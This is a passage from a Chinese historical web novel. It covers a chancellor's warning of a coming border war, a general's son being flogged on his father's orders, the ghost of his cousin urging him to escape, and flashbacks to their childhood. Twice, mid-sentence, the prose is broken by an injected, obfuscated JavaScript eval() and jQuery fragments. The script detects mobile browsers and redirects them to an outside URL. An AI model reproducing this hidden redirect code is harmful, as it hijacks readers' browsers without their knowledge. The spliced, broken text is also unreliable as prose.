师生二人上了静亭,园中风景尽揽无余,菊花盎然,紫竹挺拔,枝叶青绿不改,边上芭蕉垂首,有一些叶片枯黄了,湖中残荷枯枝败落,未曾叫人清理过,在入冬的冷风中别具一番滋味。 段蘅望着湖面道:“大雪时令已过,边境怕是雪落纷纷吧。” 修令曦立在老师身侧,心知今日早朝议事恐有不顺。 “这几日在覃师父别居,和师父聊起边境之事,蛮夷边部一直骚扰我境的小动作不断,近期尤其频繁,除乌城未曾让他们得逞过,城内百姓安居乐业,原川与北海关已经几次出现过,蛮夷骑兵入境掠杀百姓的事情,西城前月甚至起了一场小范围的战役。师父猜测,蛮夷边部可能有起战的心思,最慢不过在春耕前后。” 段蘅在石凳坐下,对修令曦道:“坐。你跟你父亲可详聊过?” 管家重新端上来一壶热茶,修令曦起身给老师斟了杯茶,随后给自己也倒了杯,说: “昨日从师父那回来,得知老师还在宫中,一回去我便同父亲说过,可他不信我……自从惠仁九年初大战结束,蛮夷边部与我朝签订议和,每年进献良驹战马百匹,另有器皿珍宝数千件以及不间断供应牛、羊乳,陛下还特意命人从西城开了官道,专门运送酪乳进京都。虽说这些年蛮夷边部也有过骚扰,但多是虚晃一枪,从来没有擦枪走火,可这段时日,和以往总感觉不同。” 段蘅抿了一口茶,说:“你父亲他责骂你了。” 修令曦喝着茶,垂眸没有说话,纤长的眼睫轻颤,打下的阴影,遮住了他眼底流露的悲伤。 段蘅猜到是这样,轻摇头,握住他的手,宽慰道:“古语有曰,孝乃无违,此无违乃指礼制,你只需在礼节方面不让人挑出错就好,父子之情若不能和睦,你既无错,无需自责,亦不必折磨自己。” 何怀幸在旁边听完,接道:“你老师说得没错,二哥,舅舅不喜你,不是还有丞相大人给你撑腰吗?既然无须依靠他,那也就不必苦苦盼望,太过伤心。” “我知道了。” 他倒了杯新茶,茶水氤氲弥漫,眉眼笼在一片雾气里,叫人看不清神色。 修令曦握着茶盏,黯然神伤。 “旁人言语无用,此事还需你自己参透。只是,众生缠裹者,徒负秽草,如蚕处茧自系缚[1]。云頫,切勿执念太深,伤了己身。” 段蘅不再多言,有些事情,尤其是感情,最是当局者迷,若自己想不通,旁人说再多也是无用的。 修令曦肃容道:“学生谨遵老师教诲。” 段蘅道:“关于边境一事,你和你师父的感觉没有错,大战在即了。今日早朝,太尉呈送双侯从乌城送来的奏折,发现边境各城军中战马数量急剧下降,蛮夷边部所供战马多数遗失,经调查均被替换成病马,并伪装成是与蛮夷边部交火中造成的军马损失。” 此话犹如惊雷炸响,修令曦心中久久无法平静,道:“什么人有如此手段,能做到在军中调换数量如此之多的战马?” “能做到这么神不知鬼不觉,绝非一日之功,与蛮夷边部联手的背后之人,至今尚未有苗头。” 段蘅摇摇头,担忧道:“陛下听闻此事,大发雷霆,晕倒在大殿上,好在太医看过并无大碍,是忧思太重,一时急火攻心所致,需要静养。下午我再入宫与太尉、御史几位大人再行商议。自陛下即位,常年病弱,又膝下无子,储君之位悬空,国无根本,内忧外患。” 何怀幸凝思道:“不是还有一位长居道观的公主吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349322|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修令曦替她问出这句话。 段蘅道: “康平公主并非陛下所出,当年陛下刚登基后突然一病不起,连太医署都束手无策,动乱才平息,朝廷已经经不起任何风吹草动了。” “最后是太后请了自在观的不藏道长推算后,说要找一个七月十五日,在子时一刻出生的女婴,找到后在宫里办一场法事,陛下将她收作义女,之后交由自在观抚养,在祖师爷座下修行,日夜为陛下供香祈福,可给陛下补运化煞,驱邪除病,保一世平安。” “法事做完,没几日,陛下便睁眼了。” 对这宫中秘辛何怀幸听得津津有味,这比她从前消磨时间看的话本子有意思多了。 段蘅长叹一声,说:“都是一些陈年旧事了,下去用午膳罢。” 修令曦牵着老师下去,两人走在竹桥上,寒风吹过,广袖衣袍翻飞,灰蒙蒙的天空,大雁排“人”字飞过,段蘅抬头遥望。 寒冬已至,国事蜩螗,民生多艰。 何怀幸跟在两人身后,还在回味那一则秘事。 师生二人到后院花厅用膳,手边各一碗肉沫汤,桌面一道小白菜炒肉片,一道清炒藕片,再加一盘紫苏鸡肉。 两盘荤菜都放在离修令曦很近的位置,他知道这是老师特意让厨房给他做的,每回在老师府上吃饭都是如此,老师担心他在将军府吃不好。 何怀幸盯着不远处地上的草地发呆。 师生二人食不言语,除了偶尔碗筷碰撞,发出轻微的声音,咀嚼声几乎不可闻。 段蘅只舀了小半碗饭,慢慢吃完后,放下碗筷道:“云頫,你继续吃,不必管我,我是年纪大了,胃口也不大好。” 修令曦心中不免担心,道:“老师定要保重身体,多事之秋,老师若是……学生难安。” “你放心,没钓到那条鱼,老师是不会倒下的。”段蘅伸手拿过他的碗,亲自替他盛饭,给他舀了满满一碗饭,说:“多吃点,你正是长身体的时候,平日里练功又那么辛苦。” 修令曦自然懂他老师口中“那条鱼”是什么,他双手接过碗,道:“多谢老师。” 老师一生为国为民,唯一心愿便是朝政清明,边境安定,百姓安居乐业。 段蘅目光慈善地看着他,修令曦正低头专心吃饭。 他一生无子嗣,与亡妻和如琴瑟,妻子在世时,并无所出,成亲六年后,妻子病逝,他至今孤身一人。 如今看着自己的学生,心中难免生出舐犊之情。 饭菜一扫而空,下人将餐具撤下。 段蘅道:“我得进宫去了,你若无事,便留在府里休息也好,练功也好。” 覃鎏跃还没回别居前,一直在相府教修令曦功夫,他常常都是整日待在老师府上,府中也有一间供他专门休息的屋子。 修令曦说:“老师,我今日先回去罢,明日我想去道观给表妹超度祈福。” 段蘅颔首道:“好,你既有这份心自是该去。” 修令曦起身告辞:“那我先回去了老师。” 段蘅轻轻摆手,说:“去吧。” 何怀幸知道,她这个二哥,回去哪里是休息,分明是回去自撞南墙罢了。 修令曦才到将军府门口,便看到父亲身边的刘副将明显是在守着他回来。 5. 自缚(二) 刘副将最是看不惯二公子充的这一身文臣作派,还跟那些娇儿纨绔般挂着个香囊,冷声道:“二公子,将军因你擅自外出未去领家法动了怒,特命末将在此等候二公子,由末将来执行鞭罚。” 修令曦似乎早就料到了,说:“走吧。” 何怀幸看着二哥跟着刘副将去了祠堂,她之前怎么没有发现,他如此愚孝,盲目到有一种近乎自虐的迂腐。 祠堂内,刘副将拿起浸透在一盆盐水里的藤鞭。 他厉声道:“将军口令,二公子违抗军令,私入军营,又违背家法,不敬父令,再加十鞭,共计三十鞭。二公子,请吧。” 修令曦褪去衣裳,跪在蒲团上,他怕弄脏了香囊,特意用衣裳盖住。 他还未束冠,墨色长发与白净的皮肤形成明显的对比。 修令曦将头发拢在身前,跪得笔直,他的面前是一行行的逝者牌位。 他从小习武,功夫从没落下过,平日看着一副文人书生相,削肩柳腰,一脱衣浑身线条流畅的肌肉,是一副武将才有的健硕身躯。 刘副将看着眼前白色的皮肤,眼中生刺,狠狠挥了一鞭下去。 沾了盐水的藤鞭一下一下抽在身上,用足了劲,每一鞭下去都是皮开肉绽。 刘副将是跟他父亲身边多年的将士,臂力本就远超常人,不过十几鞭下来,修令曦就已经忍到极致了,身体渐渐弯了下去,他的背后已经全是一条条血肉模糊的鞭痕。 又是一鞭下来,藤鞭从他鬓边乌发擦过,落在他右肩处,飞溅的血混着盐水,浸透他的皮肤,寸寸皮肉火烧般的刺痛。 刘副将停下动作,道:“二公子还有八鞭,你这样,鞭子落在脊骨上更痛,搞不好要落下残疾,将军问责下来,末将可承担不起。烦请!不要为难末将。” 何怀幸伫立在修令曦身边,此时已经气到牙关咬紧,她紧紧握住拳头,只恨她不能阻止这场暴行。 她蹲下来,痛恨地问:“二哥,这就是你一直坚持遵循的父子之道吗?他都没想过,你还尚未及冠,如此刑法,你怎能承受!” 修令曦低着眉梢,睫毛乱颤,眼底灰蒙蒙一片,他偏头,拢在一边的长发粘在他脸上,透过鬓角散下来的碎发,看见她愤怒的模样,他竟说不出话来。 何怀幸挪步到他面前。 修令曦额头沁满汗珠,顺着两边紧绷的面颊淌下来,他拧眉,紧抿着唇,咬牙隐忍不发,眉宇间尽是痛楚。 她跪坐着,仰头质问他:“二哥,你心存远志,又有外力可借,为何要甘作困兽?” 修令曦目光轻闪,睫毛在眼睑打下一片浅影,他不敢看她的眼睛,哑声道:“因为得到过,所以……我心有不甘。” 这座牢笼让她生不出羽翼,筑起高井,让她远望高空,独坐干枯窄井,什么也不给她,却困住了有羽翼的二哥,叫他飞不出去,甘愿俯首,作那笼中雀。 何怀幸强忍泪水,看着二哥痛苦却强忍的表情,心中立誓,一定要带他逃离这里。 生前她没能做到的,死后她要带着他完成。 明明已经痛得不行了,他还要朝她露出一点笑。 修令曦直起身子,抬起一只手,捂住她的眼睛,低头说:“别看我,怀幸。二哥,现在这样太难看了。” 她知道,他说的其实是他现在这样脆弱的一面,他的狼狈和眼泪,都羞于面对她。 她闭上了眼睛。 这样,她就看不见他的眼泪了。 而她的眼泪也不会流下来。 刘副将打完剩下的几鞭,发现他一只手挡在身前。 他忽略修令曦奇怪的动作,问道:“二公子将才说什么,末将挥鞭没有听清。” 修令曦眉峰紧蹙,艰难地穿上衣衫,气若游丝道:“与你无关。” 刘副将把藤鞭扔在一旁,说:“确实与我无关,因为在此受鞭刑的不是末将,是二公子你。二公子弃父子孝义,认敌为师,与将军立场相悖,令将军在朝中蒙羞之时,可曾想过如今的处境?你罔顾从前将军对你悉心教导,大公子和三公子的功夫都是跟着末将和军中将领练出来的,打滚摸爬……” 他指着修令曦,重声道:“只有你,二公子,是将军手把手教出来的。将军对你用心良苦,边境大战,还担心你在府里过得不好,把你带在身边两年,如此宠爱你,你却因为忍受不了军中艰苦,贪图享受,要当一个娇生惯养的公子哥,投靠他的政敌。如此回报你父亲,你扪心自问,对得起将军和这些列祖列宗吗?” 修令曦脸色苍白,轻笑一声,道:“刘副将忠心于父亲,想替父亲泄愤,我明白。可你又如何断定外界传言就一定是真的呢?我从未想要在京都做一个无所作为的公子哥躺在温柔乡里,我七岁随父从军,在边境风沙中立誓为将,镇守一方,出生入死,也无所畏惧。哪怕至今仍不敢忘,将士们冲锋陷阵,为国为民,浴血奋战到底。” 刘副将轻蔑道:“我从不听军中谣言,我只听将军的。二公子真希望你是真的,没忘初心。” 目送他离开,何怀幸愤恨的目光转向修令曦说: “听见了吗?二哥!何必还跪着,不管你再怎么跪,舅舅也不会回头看你一眼,他早就抛弃你了。甚至不惜毁你的志向前程,二哥难道还看不明白吗?这些年,你都撞得头破血流,遍体鳞伤了,还不能看清吗?他既然弃了你,你也还要苦苦追随吗?二哥,你并非无能之辈,也非我一般,枷锁缚身,枯坐井底,你既有广阔天地,自可去翱翔,为什么要把自己困于囚笼?为什么要甘作笼中鸟?二哥,你醒一醒吧。” 说到最后,她的声音近乎哀求。 “你难道没有想过也许正是因此,你们才越离越远。等你军功在身,有了筹码,再同舅舅谈判,一切过往的心结不就都能解开了吗?” 何怀幸真切的目光望向他,带着一点悲戚,说:“众生爱缠裹,犹如蚕处茧,你老师说得没错。劝君勿作笼中鸟,振翅翱翔飞九天。” “你为什么这么信我?”修令曦埋首弯着腰,双目低垂,神色掩藏在一片昏暗中,缓慢道:“从前,我待你,并不好。” 何怀幸郑重道:“我说过,因为,我们是一样的人。” 修令曦一怔,六年前生辰日,她对他说过一样的话,他漠然而视。 她站起来,向前走。 院中有一口天井,布满青苔。 一只被关在笼子里的鸟,怎么能不向另一只拥有自由飞翔的资格的同类靠近呢? 更何况他们在这座牢笼中,同样不受待见,遭尽了冷眼。 而更不同的是,她没有选择的权利,没有依靠。 可二哥是将军府独受宠爱的贵公子,是名声在外的丞相门生,明明广阔天地任他翱翔,却自缚双翼,徒作困兽之争。 她呢,她是什么? 她什么都不是。 她连随意踏出这座府邸,都做不到。 天地之大,她却只能永远困在这屋檐瓦片围成的方寸之间,蹉跎时光。 这一方天地,葬送了她的一生。 她才是那个最不甘心的人,才会怒其不争,怨其不为。 恨她身如浮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349323|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草,深陷泥沼,捧着一颗透明的心,终身不得愿。 天光倾颓而下,落在她眸中,何怀幸说: “还因为我想要去更远的地方看看,在这世间,做女子有太多的束缚。二哥,你不甘心,可我更不甘心。二哥受宠时有舅舅不顾舅母反对,全力托举。失宠后可以做丞相的学生,得到助力。父亲去世,我随母亲回来,备受冷眼,为了保全我,母亲选择自亡。她知道,舅舅容不下我们两个人,所以她舍弃了自己。做这将军府的表小姐,除了不会饿死,其余的我什么也没有。可这一口饭,我却不能靠自己挣来。因为要活着,所以像一个可以随意摆弄的木偶,要乖乖听话,不能反抗。” “如果,命运可以重来,即使身在万壑之渊,我也一定为自己勇敢一次。” “所以,二哥,你,还有什么资格不甘心呢?” 何怀幸回过头,哽咽道:“二哥,替我越过这座牢笼吧,也请,带我见一见,边境的风沙,和,那里的落日。” 她想起从前看过的话本里,有些夹插着几幅小画,那或许是一位北境的画师所作,疏狂的运笔,细腻笔尖在粗糙的书卷上勾勒,待到笔落,从不曾见过的天地景象,仿佛就在眼前。 她静静注视,挪不开眼。 从此,她再也没能从那些插画里出来。 她背着光,流下眼泪,却笑着看他。 “我还想看,连绵不尽的草原,站在苍穹之下,在无边无际、野草疯长的旷野上,感受风穿透我的身体。” 何怀幸泪眼盈盈,道:“二哥,我不甘心,这一生蹉跎。” 修令曦眼底悲痛,负着一身血痕,起身回头看她。 里面的衣衫被血浸透,糊在背上,随着他的动作,衣衫不断摩挲着伤口,被拉扯着的鞭伤,剧痛无比。 这样的痛,够清晰,时时刻刻提醒他,记住这一刻,记住这个从始至终都信任他的人,记住要珍惜这份信任。 因为信任,是比爱更难得,更加宝贵的东西。 也记住,曾经他漠视了她的痛苦,他应该保持一颗愧疚的心,来面对她的信任。 修令曦嘴唇发白,一步一步艰涩地走到她面前,因为疼痛而涣散的目光注视她,说:“二哥,一定陪你去。” 他伸出手,眼中眸光,温润如玉。 “我们,回去吧。” 修令曦强撑着一口气,走回住处,从床底翻出伤药,想要自己给自己上药。 他痛得龇牙咧嘴,药粉胡乱撒在肩背。 何怀幸见他如此荒诞行径简直目瞪口呆,刚刚的话都是对牛弹琴,不禁怒道: “二哥,你这样怎么能行?伤都在后背,还伤得那么重,你就打算这么潦草对付?你怎的如此不顾惜自己,万一处理不好,落下什么问题,你还怎么征战沙场去,还怎么带我去看我那些心中景象?当务之急,去找你老师段相呀,难不成,你还担心段相用此事弹劾舅舅,说他滥用私刑毒打自己的儿子?” 修令曦一下沉默了。 没想到他还真是这么想的,何怀幸气死了,恨不得跳起来抽他两耳光,狠狠打醒他。 但她仍旧理智道: “就算你老师弹劾舅舅,那也是应当的。你老师能为你出这个头,可见他爱惜你。大战在即,你想从军,他必然帮你谋出路,也正因边境情况不容乐观,陛下绝对不会在此时拿这种小事来惩戒打压舅舅,毕竟他还要靠舅舅去守卫前线的。二哥你听见没有啊!” 修令曦被训得大气不敢出,他痛得冷汗涔涔,虚弱道:“我听见了,是我犯浑了。” 6. 旧事(一) 何怀幸看他一副随时要倒地的样子,急得不行,催道:“快走,万一舅舅派人再来抓你去跪祠堂就不好了。二哥,你要是死了我可怎么办?我孤魂野鬼的,多凄惨呐。” 修令曦眸光涣散,强打精神,摇摇欲坠往外走,边向她保证道:“你放心,怀幸,我不会让你一个人的。答应你的,二哥一定做到。” 何怀幸心里担心得不行,怕他一下没挺住晕了。他这副样子,想雇辆马车,别人都怕他死在车上被敲诈诬告。 “别说那么多了,二哥,你省点力气,我现在都不是个人,我现在是个魂,你要是晕了,我真的束手无策,我只能眼睁睁看着。” 修令曦忍着疼痛,从院墙翻了出去,彷佛用尽一生的力气。 他仅凭意志力站起来往前走。 修令曦一步步走,不敢停下脚步,尽管前面的路已经模糊,也没有关系,他的身前有人在为他引路,他只需要放心地跟着她就好。 即使他太累了,抬不动脚了,他也要继续往前走。 因为耳边一直有一个声音在说:“二哥,你一定要坚持住,你向我承诺的,不能食言。” 他不能食言,因为那是最信任他的人。 他无法想象她失望的眼神,更无法再次面对她失落的神情。 曾经,他让她失落太多次了。 他不是一个好兄长。 他愧对她,那一声二哥。 “二哥!” 何怀幸眼睁睁修令曦倒下,不知所措,前面拐弯就是相府了,可偏偏此时无人经过。 看到他背后映出淡淡血色,她的眼泪在眼眶打转。 “二哥!二哥!你快点,你快点起来,二哥!” 她只能看着,看着自己的手穿过他的身体,看着他躺在地上,她急得团团转,却什么也做不了,这是她最痛恨自己的一点。 天暗沉沉的,她感到一种巨大的无力感在压垮她。 “别哭。” 修令曦奄奄一息,狼狈地爬起来,努力支撑着痛到发软颤抖的身体,他感觉自己的整个后背已经痛到麻木了,连同他的意识也一起麻木了。 他低声絮语道:“二哥不会抛下你不管的,二哥只是刚刚太累了,才睡着了,是二哥的错,二哥给你道歉。” 何怀幸别过脸,快速擦掉一滴泪,倔强道:“我没哭,我的眼泪才不会轻易掉下来。” 他一点一点地挪动步伐,终于仅凭最后一丝清醒,撑到了相府门前,修令曦彻底失去意识。 何怀幸也彻底松了口气。 门前小厮见状,吓得不轻,立即叫人来帮忙,把他抬进去,请了府医来看诊。 管家被他那一背的血,吓得双目瞪大,又赶紧派人进宫知会他们相爷。 修令曦被小心地放在软榻上,外衣脱去,后背血迹干涸,染红的里衣紧紧贴着伤口。 府医小心褪下那层衣裳,粘连处用钳子一点点掀开。 衣衫下是血肉模糊、伤痕累累的后背。 众人倒吸一口气。 府医看了看伤口,不禁皱眉,谁人下这么狠的手。 “好在是皮肉伤,没有伤到骨头。快去打两盆干净的水过来,我先给二公子清理伤口。” 仆从很快端了水来,他用毛巾沾温水,擦去背上皮肤的血污。 原本光洁的背部,如今鞭痕布满。 府医朝管家道:“烦请帮忙找个细致一点的丫鬟来协助我上药,二公子的伤太多,光我自己上药都得半个时辰了。” 闻言,管家便找了个人来协同上药。 好不容易上完药,府医用纱布缠盖住伤口,交代管家道:“得派人守着才行,瞧这样子,我担心二公子夜里发热。这段时日二公子最好静养,不宜动武,创伤药一日三次,我每日按时过来给二公子换药,等伤口愈合,再用祛疤膏。饮食清淡,忌辛辣重口,饭菜颜色煮淡一些,免得到时候生肌着色。” 他可惜道:“这好好的皮肤糟蹋成这样也真是的。” 管家一一记下。 何怀幸坐下来,虚靠在塌边发呆。 修令曦侧头俯卧在床榻上,脸朝外,她就这么坐着,在塌前平视他。 她二哥生得好看,剑眉双飞入鬓,细长的眼睛,眼尾微微上挑,眼睫又直又密,鼻梁骨秀挺如山。 段蘅接到府里的消息,同议事的几位大臣商讨完,便急急出宫。一回府连朝服都来不及脱,直奔修令曦休息的厢房,见他还昏昏睡着,坐在塌边守了一会,目光落在他身后的伤,眼底一片疼惜。 何怀幸主动避开一些,她屈膝一只手搭在膝盖上,泰然自若地坐着。 段蘅合上房门,问:“府医怎么说?” 管家跟在段蘅身边,道:“虽伤得重,好在只是皮肉伤,没有伤到骨头,只是夜间可能会发热,要留心照应。” 段蘅始终保持着克制的愠怒,道:“派人查一查,到底怎么回事?光天化日,京都之地,也敢如此暴行,罔顾天威,把我朝律法放在哪里?” 其实在府医替二公子诊治时,管家就已经让人去查了,他面色为难,道:“已经让人去查过,二公子是一路负伤从将军府走到相府来的。” “他怎么能!”段蘅停住脚步,面色盛怒道:“虎毒尚且不食子,做父亲的对儿子绝情到这个地步,心够硬,也够无情。我不曾想,谁竟可以对亲子做到如此狠心绝情!云頫是犯了什么错,逼得他要下如此重的手!” 管家又道:“听将军府里的下人说,二公子从相府回去,便被他父亲手下的副将押去祠堂跪着了。二公子昨夜擅闯军营,坏了规矩。今早父子二人还争吵了一番,修将军发了好大一通火。” 段蘅冷哼一声,道:“有再多的理由,也不能如此苛待自己的孩子,他不配做父亲。明日朝堂,我定向陛下参他一本。” 管家迟疑道:“小人并非想要干涉朝政,只是从前相爷任御史参他作风问题,您与修将军就此结下梁子。如今又正逢多事之秋,您再参他,小的担心于相爷您不利。虽说二公子是您的学生,但他与修将军毕竟是父子,也是家事。” 段蘅肃色道:“若仅因伦理纲常,便可随意私刑苛打,枉顾人命,那这父子不做也罢了。父父子子,父慈子孝,父若不慈,子又何必孝。父子之孝义绝非任由一方虐待,哪怕他有为人父的权威,也不能如此折磨他。云頫虽然只是我的学生,但如我半子,我自然无法坐视不理。” 夜里修令曦果然起了高热,浑身烫得不行,一直说胡话,人虽然还没醒,但好在后半夜总算退下去了。 他一夜梦魇,想起许多少时旧事。 —— 惠仁五年,冬。 修令曦才知道,原来他还有个姑姑,从前是将军府的大小姐。 早年间,他姑姑一次踏春认识了来京赶考的书生,两人私定终生。 那时祖父和祖母尚在人世,已替姑姑选中一位书香门第家的公子。 因此家中人并不看好穷书生,但奈何不了姑姑的不断央求,只说若能中榜,便答应这门亲事。 没成想书 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父亲不喜姑姑和表妹,他同姑姑说,她和表妹只能留下一个。 父亲希望姑姑留下,把表妹远远送走,将来便好替姑姑另寻一户人家,安度余生。 姑姑没答应,在祖父和祖母牌位前自缢,留下血书恳请父亲给表妹一个庇身之所。 姑姑带表妹来到这里,却只能把她孤零零一个人留在这里。 他整日跟在父亲身旁,父亲从小对他寄予厚望,日常训练是极为严苛的。 表妹整日待在自己的院子里,大夫人并不管她,她连家宴也不曾出席过。 他们二人虽是同住屋檐下的表兄妹,可毫无交集。 直到第二年夏,堂妹修令怡三岁生辰宴,那晚的家宴,叔母特意派人叫了表妹来,说是沾沾喜气什么的。 那应该说是他第一次完完全全见到表妹,平日里偶然遇见一两次,她总是很喜欢低着头,以至于他总看不清她的脸。 小小的人,瘦瘦的脸,黄色丝带团着两个发髻,埋着头不说话,安安静静端坐在角落。 她的右鬓簪了一小朵白色绢花,她在替她母亲守孝。 小叔不喜沙场,没有像父亲一样继承祖父遗志,他一向潇洒,行事不羁,更不愿入仕。 他喜好四时风光,同叔母两人志同道合,常年在外游览各处奇景,令怡一直是托给大夫人照顾。 生辰宴后不久,小叔便同叔母再次启程离开京都了,却没想到,这一次外出,小叔和叔母不幸罹难,在西城不慎失足掉下瀑布悬崖,双双身亡了。 这年的除夕家宴很冷清,小叔离世,父亲心里很难过,令怡堂妹过继到大夫人名下,交由她抚养。 他守在父亲身边,偶尔会瞥见角落里那一抹瘦小沉寂的身影,但也只是很快移开目光。 大哥和三弟坐一起,朗声谈笑,他们有时朝父亲敬酒,不过抿一小口。 大哥修令远比他年长三岁,三弟修令山比他小一岁,与怀幸表妹是同岁。 大哥会跟父亲喝的多些,不然父亲一个人喝酒也没意思。 幼时父亲就常拿着筷子沾酒,给他们尝味。 三个兄弟里面,饮酒属修令曦最不行。 后来有一次在边境军营里,父亲给他喝了一小口酒驱寒,他觉得那味道冲得很,实在太难喝了,直接当着那些将领们的面吐了,让他们笑话了好长时间,每次碰见总要取笑他一番才罢休。 7. 旧事(二) 惠仁七年,大年初一。 何怀幸早起去拜见舅母,她冒着风雪去请安,可到了东院,别说进舅母居住的芳华轩,就连那门也摸不着。 仆从只让她在东院门口等着,说是进去通传,结果她在寒风中站了半个时辰,手脚僵冷,只等来一句:“劳表小姐有这份心,大夫人说往后都不必来问安。” 她冻得哆哆嗦嗦走回去,修令曦在抄手游廊上碰见她。 他刚从京郊营回来,父亲身边有个年轻的副将姓刘,他近来很喜欢,大清早的不顾天寒地冻,也要跑去寻他。 衣着华贵的小公子,脖子上围着一圈毛领,眼神澄澈,笑容明快,身旁簇拥着几个丫鬟婆子。 她低头避让,并不同他说话。 他主动停在她面前,喊她:“表妹,新年吉祥。” 何怀幸屈身福了一礼,“二哥,新年吉祥。” 修令曦回一礼,道:“表妹这么早过来是去见过父亲和大夫人了吗?” 她答是,便歉礼离去。 他瞧见表妹裹着不合身的旧棉衣,嘴唇发白,寒风刺骨,她冷得缩了缩脖子。 走着走着,修令曦忽然停下脚步,回头望,表妹的身影消失在游廊,连同那两条随风飘飞的月白色发带。 身后的丫鬟也一应止步,嬷嬷上前问道:“二公子,怎么了?” 修令曦疑惑问道:“她怎么穿得如此单薄?大夫人不曾给她置办冬衣吗?” 周嬷嬷谨慎道:“二公子,这不是老奴能够妄议的,但大夫人一向仁厚,对府内公子小姐向来一视同仁。” “可是我看她冷成那样……”他满脸不解,随后道:“嬷嬷你要不替我给她送个手炉吧,我房里不是有一个吗,父亲送我的那个,我反正用不着,便给表妹吧。” 周嬷嬷回道:“将军送给公子的手炉精巧贵重,怎可轻易转赠他人。” “物尽其用,嬷嬷就帮我去送吧,好不好。”修令曦巴巴地望着周嬷嬷。 周嬷嬷无奈,只好点头应下。 粉白玉面的二公子,这才一展笑颜。 “谢谢嬷嬷。” 周嬷嬷一福礼,道:“公子咱们快些回东院吧,将军和大夫人还等着您。” “好。” 修令曦加快脚步,他迫不及待想见到父亲。 “二公子还没回来?” 修文端坐主位,他常年身在军营,说话中气十足,整个人散发着威严的气息。 大夫人叶琴瑶坐在他身旁,柔声接道:“一刻钟前已有仆从来报,二公子已经回来了,这会子应该在赶来。” 修令山坐在靠边的位置,道:“二哥勤勉,连新年初一也是天不亮就去京郊营了。” “要把你二哥当榜样,等将来我老了,这将军府要你和令曦撑起来。” 修文表情严肃,转向另一边,说:“尤其是令远,你比令曦还大上三岁,却整日偷懒,功课功课不行,练功练功也偷懒。还比不上你三弟,不说令曦,你的功课要是有令山一半好,我都不说你什么了。” 丽姨娘坐在自己的儿子修令山身边,欣慰地拍了拍他的背,与有荣焉,说:“将军说哪里话,令山还小,就算过个十几二十年,您也正当壮年,他们未必能打得过将军。再说孩子们能如此成器,还不是将军您言传身教的功劳。” 修文慰勉道:“丽娘也费心了,令山你养得很好。” 这一番话让叶琴瑶心寒到极致,看着自己丈夫和丽姨娘默契的眼神儿,妒火中烧,眼神也变得刻薄,握在手中的瓷勺,几乎要捏碎了。 修令远坐在母亲叶氏左手边,他早就饿了,现下又被当场责骂,心里很是不服气,说:“父亲,我饿了,能开始用早膳了吗?” 没等丈夫修文开口,叶琴瑶剜了他一眼,说:“忍着!你二弟令曦都还没到,你吃什么?再饿也给我忍住了,没出息的东西。” 修令远被母亲训斥得不敢再说话。 修令怡坐在堂哥修令远的旁边,她是年纪最小的,自小养在大房这儿,跟伯母很是亲近,三个堂哥里,和大堂哥修令远的关系最好。 “伯母您别说大哥哥,令怡也等得饿了。” 修文面色和缓,对她道:“令怡先吃吧。” “大伯您也吃,不然令怡不能吃。” 修令怡乖巧懂事,说话奶声奶气,很是招人喜欢。 “好。” 修文动筷,大家才敢动。 边上的奶娘上前给修令怡布菜,两位公子自力更生。 将军府的公子,一向不娇生惯养,三岁起便独立一个院,从小就跟着营里的将士习武。 所有的孩子里,修令曦是修文最得意的,也是最喜欢的。 修令曦年纪小,练功却很勤奋,也最常跟着他去军营,有空便跑去请教他底下的将士,就连功课也做得出色。 修文喜欢聪明的孩子,对他很是爱重。 周嬷嬷领着修令曦匆匆赶来。 “拜见父亲,祝父亲大人新年吉祥。给大夫人,丽姨娘请安。大哥、三弟、令怡新年好。”修令曦进门一一见礼,说:“孩儿来迟了,今日在京郊营耽误了一点时间,所以回来晚了,请父亲见谅。” “令曦回来了,来父亲这坐。”修文朝他招手,他旁边专门空了一个位置留给他。 丫鬟替修令曦拂去身上的雪花,取下厚重的氅衣,他急冲冲跑到修文身边坐下。 修文看着他,亲自给他盛了碗热粥,温声道:“怎么新年也那么早跑去营中,等用过早膳再去也不迟,天寒地冻的,多睡一会也无妨。” “谢谢父亲。”修令曦捂着热粥,说:“我听刘副将说他们清早跑操完,要去河里叉鱼,我好奇,就想去看看。” 修文笑了笑,夹了个沾满黄豆粉的汤圆给他,问:“那你可抓到鱼了吗?” “谢谢父亲。”修令曦把碗递过去接住,骄傲道:“我抓到两条,都带回来了。” “是吗,”修文十分惊喜,说:“年年有鱼,是极好的寓意,这双鱼送福,更是吉利。中午让厨房那边把这两条鱼处理了,就做个双鱼戏珠的菜式罢。多亏令曦,我们有口福了。” 丽姨娘夸道:“令曦聪慧,将来必是有福之人。” 其他人陪笑附和。 修令曦咬了口软糯的汤圆,滚了黄豆粉的汤圆没有内陷,吃起来自带米香,吃完他舀了一勺粥,里面放了炖好的老鸭肉,十分鲜美。 早膳用完,修令曦被父亲勒令回去补觉。 待二公子回了竹园睡下,周嬷嬷才离开,转头去了芳华轩。 周嬷嬷走到叶琴瑶跟前,把二公子在游廊上碰见表小姐的事情讲了,道:“二公子还让奴婢给西角院那位表小姐送个手炉,说是怕她冷。” 叶琴瑶欣赏着屋内的红梅盆栽,枝桠劲瘦,朵朵梅花开。 “二公子年纪小,倒是心善。”她摘下一朵轻嗅,冷香萦绕,随后红色的花瓣和淡黄的花蕊在指尖被碾碎,说:“一个花楼舞姬之子,将军竟然那般捧着,人死了这么多年,还不忘旧情,也不知道将军被灌了什么迷魂汤。” 